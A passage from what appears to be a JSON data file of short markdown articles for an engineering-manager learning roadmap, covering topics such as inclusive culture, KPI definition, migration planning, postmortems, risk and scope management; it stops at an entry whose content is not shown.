    "path": "src/data/roadmaps/engineering-manager/content/inclusive-environment-creation@6iM0n4faMNhk4mezS9AcG.md",
    "content": "# Inclusive environment creation\n\nCreating an inclusive environment is certainly a challenge for an Engineering Manager. This task involves nurturing a culture where all individuals are respected, appreciated, and valued for their uniqueness. It’s central to breaking down barriers, encouraging innovative thinking and taking advantage of diverse talents.\n\nThe Engineering Manager's responsibilities here include establishing and enforcing, clear guidelines for equality and diversity. They should facilitate open communication, recognise individual contributions, and set the tone for a respectful workspace. To address challenges, they must address biases, promote cultural understanding, and proactively work towards eliminating discrimination.\n\nSuccessful navigation of this aspect requires empathy, strong leadership, and excellent communication skills. The manager must foster an open-minded culture, promoting understanding and acceptance of all team members' diversity."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/innovation-fostering@njqjYPMQK3nGYtqHzUylo.md",
    "content": "# Innovation fostering\n\nEngineering managers play a vital role in fostering innovation in the engineering culture. They set the tone by creating an environment where unique ideas are welcomed, and risk-taking is encouraged. Giving team members the freedom to experiment and learn from failures is crucial in sparking innovation.\n\nKey responsibilities include providing resources, time, and space for creative thinking, and recognizing innovative efforts. Regular brainstorming sessions and workshops can also encourage creativity and innovation.\n\nThe challenges are many, such as balancing between innovation and meeting project deadlines. To address this, setting clear innovation goals and incorporating them into the workflow could help. Other essential skills include excellent communication, empathy, and leadership to motivate and guide their teams towards innovative solutions."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/integration-management@f3P0fF4UzgVQZuMVTVmP1.md",
    "content": "# Integration management\n\nAn engineering manager in partner management has a critical role in managing integrations. Their responsibilities include overseeing the development of tools and technologies that facilitate seamless connectivity with partners, ensuring the integration process meets partner requirements and goals.\n\nEngineering managers face challenges like dealing with complex integration scenarios, aligning technological needs, and handling communication between multiple teams. To succeed in this area, they need skills in API management, technical knowledge and the ability to communicate effectively.\n\nAn important approach here is proactive problem solving. An engineering manager will benefit from anticipating possible issues and implementing solutions ahead of time. This will make the integration process smoother and prevent major disruptions."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/knowledge-bases@7t9jmv3_lRCEG5y5DA8bF.md",
    "content": "# Knowledge bases\n\nAn Engineering Manager plays a crucial role in establishing solid knowledge bases for their team. This is a system where team members record, update, and share information about projects, coding practices, or other essential technical insights. The Engineering Manager is responsible for making sure that information is up-to-date, relevant, and easily accessible for everyone on the team.\n\nA key challenge here can be information overload or outdated knowledge. The Manager needs to ensure the team regularly update the databases and that outdated information is removed promptly. This keeps the knowledge bases useful and efficient.\n\nTo succeed in this area, an Engineering Manager should promote open communication and regular updates among team members. Also, being competent in modern documentation tools can significantly assist in maintaining an effective knowledge base."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/knowledge-sharing-practices@74-7hDXaBVXYo6LJdgac_.md",
    "content": "# Knowledge sharing practices\n\nAn Engineering Manager drives knowledge sharing practices within an engineering culture. Ensuring his team is updated with recent tech advances and system upgrades is one of his key responsibilities. Conducting regular workshops, brainstorming sessions, organizing 'Tech-Talks' proves essential in maintaining a consistent knowledge flow.\n\nChallenges often arise in the form of team members being reluctant to share their expert knowledge, fearing it might minimize their value. To overcome this, the engineering manager should promote a supportive environment where every member understands the value of collective growth.\n\nTo succeed, the manager must display great communication skills, active listening, and respect for everyone's ideas and insights. An open and supportive environment encourages everyone to participate actively, leading to a thriving engineering culture."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/kpi-definition@Wd8FCEaGZBTvsD-k4t0r4.md",
    "content": "# KPI Definition\n\nAn Engineering Manager is pivotal in the process of defining key performance indicators (KPIs) for a project. They identify the crucial metrics that reflect success and are aligned with the project goals. To accomplish this, they work closely with their team and other stakeholders, clarifying the key outcomes that matter most.\n\nThe definition of KPIs can be challenging due to the potential range of metrics available. The Engineering Manager must strike a balance between choosing relevant KPIs and avoiding those which may inflate success results artificially. They address this challenge by focusing on KPIs that accurately measure performance and drive improvement.\n\nStrong analytical skills, critical thinking and a firm understanding of their team's capabilities and project goals are crucial for an Engineering Manager to succeed in this aspect. Continuous evaluation and flexibility in adapting the KPIs are also imperative."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/learning-culture-development@aeD-kBZEr1NHFtAD8yHI_.md",
    "content": "# Learning culture development\n\nAs an Engineering Manager, fostering a learning culture in the team is a notable aspect of their role. This involves creating an environment where team members are comfortable asking questions and making mistakes, seeing them as opportunities for learning and growth. The manager facilitates this by promoting continuous learning opportunities like webinars, workshops, and online classes.\n\nOne challenge they might face is resistance to change or learning new skills. To address this, they should demonstrate the value and importance of continuous learning. Show how it leads to improved performance and opens up new opportunities.\n\nTo succeed, an Engineering Manager needs effective communication and leadership skills. They need to set clear expectations, provide positive reinforcement, and offer feedback to guide their team's learning and skill development."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/legacy-system-retirement@9mNLfntu1TPjcX3RoUeMq.md",
    "content": "# Legacy system retirement\n\nThe retirement of legacy systems often falls under an Engineering Manager's purview. One of their main responsibilities is determining when a system becomes obsolete and planning its phase-out. This task demands a delicate balance of technical acumen, project management skills, and sound communication to ensure minimal disruption.\n\nChallenges include preserving vital data and functionalities and dealing with resistance to change. An Engineering Manager must expertly manage these by adopting a systematic and collaborative approach involving all stakeholders. Technical alternatives, cost-benefit analyses, timelines, and risk mitigation must be part of the plan.\n\nSuccessful legacy system retirement necessitates a mix of technical knowledge and soft skills. Understanding the system intricacies and the potential impact of its retirement is essential. Equally important is the ability to communicate effectively, manage change, and lead the team through the transition."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/legacy-system-retirement@QUxpEK8smXRBs2gMdDInB.md",
    "content": "# Legacy System Retirement\n\nEvery Engineering Manager knows the value and hurdles of legacy system retirement. They must plan and manage this complex task with a keen understanding of the system's purpose, its interdependencies, and potential risks of its retirement. Key responsibilities include assessing the impact on users, mitigating downtime, and ensuring business continuity.\n\nChallenges often arise from lack of documentation or knowledge about the legacy system. To overcome this, they could organize knowledge-sharing sessions with long-standing team members, assessing external help, or gradual transition methods.\n\nThe successful retirement of a legacy system requires a comprehensive approach, good interpersonal skills for team collaboration, and strong decision-making skills. An Engineering Manager has to balance the system’s business value against the cost and risk of maintaining it."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/lessons-learned@HUQ_-vU2pdBPyF0mBocHz.md",
    "content": "# Lessons Learned\n\nAs an Engineering Manager, one key responsibility in the field of knowledge management is the curation of \"Lessons Learned\". This involves reflecting on completed projects, identifying what was done well and what could be improved in the future.\n\nA significant challenge they face is ensuring these lessons are clearly articulated and accessible to all team members, to ensure similar issues don't reoccur. They handle this by creating well-structured documents that provide context, detail the problem encountered, and outline recommended improvements.\n\nTo effectively capture and share lessons learned requires a systematic approach, good communication skills, and a culture that encourages learning. This helps to improve team efficiency and reduce the risk of repeating mistakes, contributing to the overall success of an engineering team."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/market-awareness@P2gIOt-i0sQEOMBo-XjZO.md",
    "content": "# Market awareness\n\nAn Engineering Manager needs to have both technology and market awareness. By understanding the market trends, they can lead the team towards developing products or features that meet client needs and stand out from the competition. This involves close collaboration with the marketing, sales, and product management teams to incorporate market feedback into the engineering process.\n\nThe challenge often lies in balancing market demands with technical feasibility and team capacity. An effective approach is to maintain open communication channels with all stakeholders involved and conduct regular market trend analysis.\n\nTo do this job effectively, an Engineering Manager needs good analytical, communication and decision-making skills. They should also have the ability to grasp new market trends quickly and synthesize this information into actionable insights for their team."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/mentoring-and-coaching@0ULnfq0ZFJXgoLbKM1gxC.md",
    "content": "# Mentoring and Coaching\n\nAn Engineering Manager often plays a pivotal role in mentoring and coaching their team. They are responsible for providing regular feedback, advising on professional and technical development, and goal-setting. This involvement helps to cultivate a culture of continuous learning and growth.\n\nThe challenge for Engineering Managers is to strike the right balance between providing support and empowering team members to find their own solutions. It’s also essential to maintain fairness and consistency in their approach to different individuals. This requires strong communication skills, empathy and a good understanding of each team member’s strengths and weaknesses.\n\nEmbracing a coaching mindset, Engineering Managers can help team members to overcome obstacles, develop new skills, and achieve their full potential. This not only benefits the individuals themselves but also enhances the overall performance and output of the team."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/mentoring-programs@g6K9fxWdRQT5h_u4Y_bkq.md",
    "content": "# Mentoring Programs\n\nAn Engineering Manager has a crucial role in facilitating mentoring programs as part of knowledge transfer. Their responsibilities involve choosing the right pairs for mentorship, ensuring mentors have the appropriate skills and knowledge, and evaluating the effectiveness of the program.\n\nOne of the challenges they may encounter is determining how to pair mentors and mentees. They address this through a thorough understanding of each team member's skill level and career goals. Additionally, they balance the workload of mentors to prevent them from feeling overstretched.\n\nSuccessful knowledge transfer through mentoring involves patience, active listening, and constant feedback. By harnessing these skills and encouraging mentors to do the same, an Engineering Manager ensures a conducive environment for learning and professional growth."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/migration-planning@QMAIEkVFHrrP6lUWvd0S8.md",
    "content": "# Migration planning\n\nMigration planning is a key facet of an Engineering Manager's responsibilities. They play a pivotal role in planning, coordinating, and overseeing the technical changes that include systems, databases, or application migration. This process requires them to have a solid understanding of the current technologies and the new systems being adopted, align migration activities with business needs and ensure minimal disruption to services.\n\nSome of the challenges they may encounter include ensuring data integrity, managing downtime, and unforeseen technical issues. Addressing these hurdles requires clear communication, effective risk management, and technology prowess.\n\nSuccess in migration planning hinges on a detailed understanding of the systems involved, robust planning, and leadership skills. It involves meticulous resource allocation, timeline management, and the ability to facilitate smooth collaboration among various teams."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/milestone-management@PXobPGPgCX3_55w4UtxT9.md",
    "content": "# Milestone Management\n\nEngineering Managers play a crucial role in Milestone Management. They are responsible for setting clear, measurable goals that map out the path to project completion. These milestones are pivotal for keeping the team motivated and the project on track. Challenges in this area include ensuring that milestones are ambitious yet attainable and progressive yet feasible.\n\nAn Engineering Manager combats these challenges by utilizing effective communication and strategic planning. They need to communicate the importance of each milestone, how it fits into the big picture, and the consequences of not meeting them.\n\nStrategic planning is another vital approach. It includes breaking down complex tasks into smaller, manageable ones and scheduling them accurately. This requires a balance of technical understanding, project management skills, and team insights."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/one-on-one-meetings@b3qoH_LuW-Gz4N8WdGnZs.md",
    "content": "# One-on-One Meetings\n\nEngineering Managers play a vital role in conducting one-on-one meetings with their subordinates. Their key responsibilities in these meetings involve understanding the concerns of their team members, giving valuable feedback, and setting up individual growth paths. They also talk about career development and address performance issues.\n\nOne-on-one meetings present challenges, like how to provide negative feedback without demoralizing the employee. Here, the managers have to use diplomacy, constructive criticism, and emotional intelligence. They need to appreciate the good and seek ways to improve the not-so-good.\n\nSucceeding in one-on-one meetings requires active listening skills, empathy, solution-oriented mindset, and the ability to communicate effectively. They need to be approachable, offering a safe space for the employees to voice their issues or apprehensions. Thus, they nurture a positive work environment and foster professional growth."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/organization-structure@mjMRNhPkeb4lEZXBb8Iot.md",
    "content": "# Organization structure\n\nAn Engineering Manager must understand and navigate the organization structure with ease. As a key responsibility, they need to know the roles, responsibilities, and relationships of various teams and individuals within the organization. This awareness can aid in quality cross-functional collaboration and effective decision making.\n\nChallenges may arise when there are changes in organizational structure, causing shifts in roles and responsibilities. Addressing this would involve frequent communication and adapting to the changes quickly.\n\nTo be successful, the Engineering Manager needs excellent communication skills and the ability to foster strong relationships. An understanding of the organization's hierarchy and dynamics is crucial as well, to ensure the smooth flow of operations and project progressions."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/people@aSZ2uVCmpAdEPjJt6VKG4.md",
    "content": "# People\n\nEngineering Managers have a crucial role in managing the people aspect of their teams. They are responsible for building, nurturing, and guiding their teams towards a shared goal. This involves hiring the right talent, fostering collaboration, and promoting a positive environment for brainstorming and innovation. They also address personal and professional conflicts, ensuring a unified and efficient team.\n\nHandling people is no easy task. Challenges come in many forms such as personality clashes, power struggles, or unequal contribution from team members. To address these, the manager must have excellent communication, empathy, and leadership skills. Regular feedback sessions and team building activities can also help.\n\nSuccess in managing people is a delicate balance of technical expertise and interpersonal intelligence. A good Engineering Manager doesn't just guide their team technically, but also emotionally. They celebrate success, address failures, and make everyone feel valued and heard."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/performance-evaluations@eJzYnoB6sArLjXRm51cM4.md",
    "content": "# Performance Evaluations\n\nAs an Engineering Manager, handling performance evaluations involves providing regular, constructive feedback to team members. An integral responsibility is to assess how well team members are meeting their deliverable goals and contributing to projects. It's crucial to define clear outcome metrics and keep an ongoing dialogue regarding progress.\n\nThe challenge lies in balancing criticism and recognition. It's essential to maintain a fair and unbiased perspective and communicate feedback constructively. A positive strategy is to couple areas of improvement with individual accomplishments.\n\nSuccess in this domain requires strong communication skills, empathy, and a focus on problem-solving instead of fault-finding. By fostering an open and transparent environment where performance-related discussions are encouraged, Engineering Managers can ensure consistent development and growth within the team."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/politics-navigation@Zoz01JcNU69gr95IcWhYM.md",
    "content": "# Politics navigation\n\nEngineering Managers have to skillfully navigate politics in any organization. Their goal here is to understand relationships, power dynamics, and informal networks that govern how things work. Politics navigation is pertinent to minimizing conflicts, maximizing support for initiatives, and achieving team goals smoothly.\n\nIdentifying and managing politics often falls on the shoulders of Engineering Managers. They need to maintain a delicate balance between individual team members' motivations and the overarching objectives of the organization. This requires tact, diplomacy, and effective communication.\n\nThe challenge lies in keeping a neutral stance yet effectively navigating these politics without compromising on the team's morale or the project outcomes. Hence, an Engineering Manager must exhibit strong negotiation skills, strategic thinking, and emotional intelligence to deal with these office politics successfully."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/post-incident-analysis@8zyK34SwHry2lrWchw0KZ.md",
    "content": "# Post-incident analysis\n\nAfter any technical incident, Engineering Managers shoulder the vital task of leading post-incident analysis. This involves in-depth evaluation of what caused the incident, how it was resolved, and ways to prevent recurrence. It’s through this process that teams identify system flaws and address them promptly.\n\nCrafting clear, concise incident reports that capture key insights is one of their key responsibilities. These documents help the team understand the technical bottlenecks and improve the incident response strategy over time.\n\nThe main challenge faced by Engineering Managers during post-incident analysis is ensuring thoroughness while avoiding blame culture. Striking a balance requires sharp analytical skills, solid leadership, and open communication. It's not just about fixing mistakes but learning and growing from them as a team."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/process-changes@ev9ZKygqETctLMSt1GAFU.md",
    "content": "# Process changes\n\nAn Engineering Manager identifies the need for process changes, and oversees the implementation. They'll usually take the front seat in conducting technical reviews to evaluate current procedures. If there's an operational gap, they'll design and enforce a more efficient process.\n\nAddressing implementation obstacles is another responsibility. This means the manager will handle resistance to change and maintain team morale. They'll often use clear communication to elucidate the reasons for the change, and the benefits it'll bring.\n\nIn order to land this successfully, an Engineering Manager needs good analytical skills to pinpoint the weak areas in the current processes, and excellent leadership and communication skills to facilitate the transition. They should also be flexible, to adapt the plan as the change progresses."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/process-documentation@Kwy9O1z2hpeE0Sb3qtxEg.md",
    "content": "# Process documentation\n\nAn Engineering Manager deeply recognizes the vitality of process documentation to ensure smooth operations within the team. The manager is responsible for leading this area, facilitating a comprehensive and accurate representation of processes, and crafting guidelines that are easy to understand. They guarantee that essential information isn't locked in someone's head and is readily accessible for the team.\n\nChallenges often arise in keeping documents up-to-date and ensuring the team uses them. Engineering Managers respond by fostering a culture where documentation is viewed as a vital part of work, not an afterthought. Regular audits, revisions, and promoting ownership among team members help keep the documentation accurate and relevant.\n\nSuccess in process documentation demands exceptional organizational skills, clear communication, and a keen eye for detail. An approach that values simplicity and clarity reduces the barrier to maintain and use these documents."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/process@iZFn0FaRdrGv_-_8zii_-.md",
    "content": "# Process\n\nEngineering management is a crucial role in tech companies, overseeing the processes that power engineering teams. An Engineering Manager has to ensure that all processes, be it software development lifecycles, testing protocols, or deployment procedures, are efficient, effective, and correctly implemented.\n\nA key responsibility they hold is identifying and managing any bottlenecks or hindrances slowing down productivity. This may involve constant monitoring, discussion with team members, and careful analysis of workflow data. The Engineering Manager's role also involves process optimization that can include introducing new tools, methodologies, or even reshaping teams for better performance.\n\nSuccess in this aspect requires exceptional problem-solving skills and the ability to innovate and adapt. Persistence and excellent communication skills are also required as effective process management often involves persuading and influencing others about the value of proposed changes."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/product-strategy-alignment@nC5dfGlxbLoXUAp2u-6Gl.md",
    "content": "# Product strategy alignment\n\nFor an Engineering Manager, aligning product strategy requires strong tech understanding and the ability to connect it with business needs. They play an essential role in transforming the company's goals into a clearly defined product roadmap and help their team focus on what’s crucial for the product's success.\n\nTheir key responsibilities include engaging in cross-functional collaboration with product teams, understanding customer needs, and ensuring the tech team is building a product that aligns well with the company’s strategy. They also need to ensure ongoing alignment as products evolve and business goals change.\n\nThe major challenge faced in ensuring product strategy alignment includes maintaining a strong connection between engineering and non-engineering teams. To address this, they have to foster open communication, work closely with product managers, and ensure everyone understands the company’s strategic goals."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/product@p9ecMvHCqjmvxf67di7pY.md",
    "content": "# Product\n\nEngineering managers are pivotal in translating product visions into tangible results. They shoulder the responsibility of aligning the engineering team's efforts with the product roadmap. This involves not just understanding the technical complexity, but also grasping the product's strategic importance.\n\nThey face challenges like prioritizing feature development and resolving resource clashes. Effective handling requires a blend of technical proficiency and keen product sense. They also need to navigate collaborative decision-making, ensuring that engineering perspectives are well represented in product discussions.\n\nAccuracy in estimating timelines for product features is paramount. An engineering manager therefore needs to excel in project management, accurately gauging task complexity and foreseeing potential roadblocks. This is crucial to align engineering activities with overall product timelines and objectives."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/production-issues-management@kQG_wk66-51dA4Ly9ivjM.md",
    "content": "# Production issues management\n\nAn Engineering Manager's role in production issues management is crucial. They are responsible for quick decision making during system down-times or service disruptions. They deploy resources efficiently to resolve issues, sometimes guiding the team in real-time to troubleshoot and fix the problem.\n\nKey challenges include downtime minimization, maintaining system availability, and making trade-offs between quick fixes and long-term solutions. They address these challenges by implementing strong incident management policies and training the team for effective system recovery processes.\n\nSuccess in this aspect requires a mix of technical skills, effective communication, and problem-solving abilities. They also need a solid understanding of the deployed systems and infrastructure to ensure seamless functionality and service availability. It's crucial to learn from each outage to prevent or handle similar occurrences in the future."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/production-issues-management@tmY4Ktu6luFg5wKylJW76.md",
    "content": "# Work-Life Balance During Crises\n\nMaintaining work-life balance during a crisis involves strategies and practices that help team members manage their professional responsibilities while also prioritizing their personal well-being and commitments. This includes setting boundaries, utilizing time management techniques, encouraging open communication about workload and stress, and ensuring access to resources that support mental and physical health. The goal is to prevent burnout and maintain productivity and morale during challenging times.\n\nVisit the following resources to learn more:\n\n- [@article@The Work-Life Balance Crisis](https://www.speechtherapypd.com/blogs/the-worklife-balance-crisis)\n- [@article@5 Ways to Keep Your Career on Track During a Life Crisis](https://melodywilding.com/5-ways-to-keep-your-career-on-track-during-a-life-crisis/)"
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/project-postmortems@g9WWa50V8ZbhIJgBRx0Nd.md",
    "content": "# Project Postmortems\n\nProject postmortems are a crucial part of an Engineering Manager's role in project management. They allow the manager to evaluate a project after it's completed to understand what went well and what needs improvement. As a leader, the Engineering Manager typically steers this process, encouraging team members to discuss their experiences and draw valuable lessons.\n\nA primary challenge is ensuring that postmortems are constructive, not blame-seeking. They need to encourage transparency amongst the team. This calls for a balanced and diplomatic approach from the manager. By promoting an open environment and focusing on lessons learned rather than individual mistakes, Engineering Managers can turn postmortems into a positive and enriching experience.\n\nDoing successful postmortems requires good communication and analytical skills. The manager must distil complex issues into easy-to-understand takeaways that can guide future projects. The ultimate goal is continuous improvement, and a good postmortem is a stepping stone towards that."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/project-tracking@SuT6q5lMMSyVkadlQp7iU.md",
    "content": "# Project Tracking\n\nAn Engineering Manager's role includes ensuring that project tracking is effectively performed. They use various project management tools and techniques to monitor progress, check the alignment with set timelines, and identify potential bottlenecks. This is paramount to meeting deadlines and delivering projects on time.\n\nResponsibilities include updating project statuses, handling the reporting of tasks, and keeping all involved parties informed. Specific challenges might be correctly estimating timelines or handling unexpected changes. Managers solve these by continuously evaluating and updating project plans, bringing more precision in tracking.\n\nSuccessful project tracking requires strong analytical skills, effective communication, and keen attention to detail. Regularly reviewing project progression, adopting feedback and making the necessary adjustments are needed for successful project completion."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/quality-metrics@ZWWsuFm_G4kvvl_cv8l_t.md",
    "content": "# Quality Metrics\n\nQuality metrics are a crucial part of an Engineering Manager's role in project management. The responsibility here is two-fold: choosing the right metrics and interpreting them correctly for making data-driven decisions. Metrics like defect density, test pass rate, code review coverage, and more, can provide powerful insights into a project's health.\n\nEngineering Managers might face challenges in selecting relevant metrics that would give a true measure of quality. This problem is solved by aligning the metrics with project goals and periodically re-evaluating them.\n\nBeing successful in this aspect requires an understanding of data analysis and a keen eye for detail. More importantly, an open-minded approach to consider all potential issues is beneficial. After all, quality metrics function best when they not only validate success but also unearth hidden problems."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/recognition-programs@Vb3A4a-UpGTAEs-dVI66s.md",
    "content": "# Recognition programs\n\nEngineering Managers play a vital role in establishing and executing recognition programs in team culture. They understand the importance of acknowledging their team's contributions and achievements. As such, their main responsibility is designing and implementing effective recognition programs that motivate and inspire the team.\n\nOne challenge they face in this role is ensuring genuine and inclusive recognition. They tackle this by regular feedback sessions, timely appreciation, and personalized recognitions. They also need to balance recognitions between small daily wins and significant achievements.\n\nSuccess in this role requires a keen understanding of the team's work and an empathetic approach. Trust-building and communication skills are also necessary to foster a sense of appreciation within the team. Engineering Managers must create spaces where everyone feels their work is valued."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/release-management@-Qc6E3gkUUonfzifYqeJJ.md",
    "content": "# Release Management\n\nManaging a software release is an essential role of an Engineering Manager. One key responsibility here is to establish deadlines and ensure all project components meet these deadlines. This includes tracking progress and addressing potential or actual delays.\n\nChallenges here can include coordinating with multiple teams and managing changing product requirements. To tackle these, an Engineering Manager should use a clear and organized approach. Maintaining open lines of communication with all stakeholders is vital.\n\nApart from strong leadership skills, an Engineering Manager dealing with release management also needs to have a solid understanding of the software development process. This prepares them to make informed decisions and give pertinent advice which are key to a smooth and successful software release."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/reorganizations@5_CE3p5jMA1uEqFNfp7Kh.md",
    "content": "# Reorganizations\n\nAs an Engineering Manager, dealing with reorganizations can be challenging yet vital. They are responsible for planning and executing the restructure while ensuring minimal disruption to the workflow. It's also their duty to communicate these changes to their teams clearly and compassionously, as reorganizations can often lead to anxiety among members.\n\nKey challenges that they might face include resistance to change, possible decrease in productivity, and maintaining team morale. To tackle these hurdles, they must exhibit strong leadership, good communication, and problem-solving skills. They should also understand the unique dynamics of their team members to address their concerns effectively.\n\nBeing equipped with strategic thinking can help an Engineering Manager navigate reorganizations successfully. This involves envisioning the desired end-state, planning the transition phase meticulously, and managing the impact on the teams, empowering smooth transformation."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/resistance-management@vfp6VmWnhpre_eDORg7ht.md",
    "content": "# Resistance management\n\nIn managing resistance during organizational change, an Engineering Manager's role involves identifying employees' concerns and fears. They work to address these issues by demonstrating empathy, opening communications, and providing solid reasons for the change. Addressing resistance may require new skills or adjustments to work styles, making training and support vital parts of the process.\n\nEngineering Managers often face employees' fear of change, decreased morale, or reduced productivity during transitional periods. To navigate these challenges, they develop clear plans, communicate constantly about the change and the benefits it will bring, and involve employees in the change process to generate buy-in.\n\nSuccess in resistance management requires strong emotional intelligence, solid communication skills, and the ability to motivate teams. Industries and situations vary, but maintaining transparency and empathy often result in positive outcomes."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/resource-allocation@4v5yLKYVcMh0s7SQuf__C.md",
    "content": "# Resource Allocation\n\nAn Engineering Manager juggles various responsibilities, one the most critical being effective resource allocation. This includes assigning the right team members to the right tasks, as well as wisely distributing budget and physical resources. While it's challenging to strike a balance between the needs of the project, the team's capabilities, and budgetary constraints, effective managers employ tools and data analysis to make informed decisions.\n\nFor Resource Allocation, skills such as prediction, foresight, and understanding of team dynamics and capabilities are necessary. It’s crucial to understand potential bottlenecks and plan for unforeseen situations.\n\nEngineering Managers often work closely with stakeholders and teams to regularly review and adjust resource allocation, thus ensuring the team remains on track, projects are delivered on time, and resources are used productively. Regular communication and transparent decision-making processes also boost team morale."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/resource-forecasting@iwwxnSVvCmZ57stXwzk8G.md",
    "content": "# Resource forecasting\n\nResource forecasting is a practical tool for an Engineering Manager. It involves predicting future resource needs to ensure smooth execution of tasks. A manager's responsibility here is to avoid over-hiring or overspending while ensuring a project progresses efficiently.\n\nForecasting effectively calls for knowledge of project timelines, team strengths and a keen eye on budget constraints. Furthermore, it involves balancing team strengths and task allocation, while being mindful of possible turnovers or leaves.\n\nGood resource forecasting can be challenging as it often involves making educated guesses. However, successful managers can rely on data-driven decisions, invest in forecasting tools, gain insights from past projects, and regularly review plans to manage available resources and keep their engineering teams running smoothly."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/responsibility-shifts@eIlW4mZKNQfBsTDmZf7ex.md",
    "content": "# Responsibility shifts\n\nEngineering Managers often handle responsibility shifts within the team during change management. It's their duty to analyze what skills are needed, and delegate new duties accordingly. They also ensure all members understand their updated roles, ensuring a smooth transition.\n\nResponsibility shifts often present challenges because they might disrupt established work rhythms. The Engineering Manager should address these concerns head on. This could involve reassuring the team, providing additional training, or even modifying the shift if needed.\n\nSucceeding in this area takes great communication skills and a deep understanding of your team's strengths and weaknesses. It requires being open to feedback and adapting quickly. By doing so, Engineering Managers can turn the potentially tumultuous event of a responsibility shift into a moment of growth for both individuals and the team."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/risk-management@mgw6M8I9qy1EoJpJV-gy1.md",
    "content": "# Risk Management\n\nAs an Engineering Manager, handling risk management is a significant duty. They are responsible for identifying potential risks in every project aspect and implementing proper measures to reduce these risks. They foresee and evaluate technical difficulties, resource constraints, and schedule overruns to safeguard the team's success.\n\nA common challenge for Engineering Managers is balancing risk mitigation and project progress. Effective strategies such as risk ranking and contingency planning help them keep this balance. Proactive communication with the team and stakeholders is also essential to keep everyone informed about any changes or potential issues.\n\nTo succeed in risk management, Engineering Managers need strong analytical skills, foresight, and decisiveness. These skills enable them to anticipate problems before they arise, make quick decisions, and implement effective risk reduction measures. They must also have good collaborative and communication skills to work with their team and stakeholders."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/roi-analysis@XinUWPahOdufmLYcEwMj_.md",
    "content": "# ROI analysis\n\nAn Engineering Manager leverages ROI (Return on Investment) analysis to ensure strategic objectives align with financial viability. They analyze projected costs and benefits related to engineering projects. Their key responsibilities include identifying potential risks and calculating the profitability of various alternatives based on expected returns.\n\nConducting an ROI analysis can pose challenges, including acquiring accurate data and quantifying soft benefits. An Engineering Manager may address these by systematic data gathering and using structured frameworks for quantification.\n\nSuccess in ROI analysis requires skills in financial literacy, critical thinking, and data interpretation. A proactive approach, coupled with a comprehensive understanding of the business, allows Engineering Managers to effectively evaluate the economic impact of engineering decisions."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/role-transitions@FayHWdUHHYFFBwnXx37Gk.md",
    "content": "# Role transitions\n\nRole transitions often occur within an Engineering team, and an Engineering Manager has a crucial role managing these changes. They're responsible for making sure transitioning team members are clear about their new duties and have the support they need to fulfill them.\n\nChallenges that arise with role transitions can include resistance to change, confusion, or even a decrease in productivity. Engineering Managers address these challenges through transparent communication, hands-on training, and creating a workspace that supports learning and adaptation.\n\nSuccess in managing role transitions requires a mix of technical understanding, strong communication, and leadership skills. Periodic check-ins and feedback sessions are also useful for ensuring these transitions are effective and beneficial for all involved. This approach not only helps alleviate concerns but also aids in keeping team morale high during times of change."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/scaling-infrastructure@EyoVFmqOJbH1sAPHLISFt.md",
    "content": "# Scaling Infrastructure\n\nAn Engineering Manager is vital to scaling infrastructure because they typically lead the design, development, and execution of such operations. As a part of their role, they might identify current bottlenecks, forecast future growth, and plan accordingly so the infrastructure can support the increased load.\n\nThe process often involves challenges such as predicting growth accurately, balancing costs with potential needs, and efficiently implementing changes. To overcome them, effective communication, thorough technical knowledge, and good planning skills are needed.\n\nSuccess hinges on the ability to constantly monitor the infrastructure's performance, adjust strategies as needed, and maintain clear communication lines with both the developers who will implement the changes and the stakeholders who will approve the costs."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/scope-management@C-lJJSjT8Cxw_UT3ocFsO.md",
    "content": "# Scope Management\n\nAs an Engineering Manager, scope management is crucial because it ensures all work required, and only the work required, is included in the project. Their key role involves defining the scope, focusing on the project requirements, and acknowledging potential scope creep scenarios which may deviate the project from its objectives.\n\nThe challenges faced often include managing the team's expectations and time, while striving to deliver a product that meets client's specs on time & budget. They need to delegate tasks effectively and ensure everyone sticks to the agreed scope.\n\nTo excel in scope management, one requires assertiveness, excellent communication and interpersonal skills and the knack for anticipating potential hurdles. A proficiency in risk management also plays a crucial role in preventing scope creep."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/security--best-practices@sQCLhk__jvbityuuLlxiW.md",
